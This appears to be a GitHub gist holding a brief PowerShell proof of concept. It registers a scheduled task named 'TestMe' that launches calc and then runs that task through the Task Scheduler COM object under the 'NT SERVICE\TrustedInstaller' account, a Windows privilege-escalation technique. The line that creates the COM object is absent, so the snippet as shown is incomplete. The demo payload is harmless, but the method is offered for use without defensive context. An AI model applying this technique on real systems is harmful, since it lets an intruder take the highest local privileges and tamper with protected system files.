Skip to content

Instantly share code, notes, and snippets.

@farzinenddo
Created May 6, 2020 21:54
Show Gist options
  • Save farzinenddo/59d70021850f9fc6feb149eb666afa9d to your computer and use it in GitHub Desktop.
Save farzinenddo/59d70021850f9fc6feb149eb666afa9d to your computer and use it in GitHub Desktop.
Using COM Object for running task under "NT SERVICE\TrustedInstaller" Token
$task = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c calc"
Register-ScheduledTask -TaskName "TestMe" -Action $task
$com.Connect()
$user = "NT SERVICE\TrustedInstaller"
$folder = $com.GetFolder('\')
$t = $folder.GetTask('TestMe')
$t.RunEx($null,0,0,$user)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment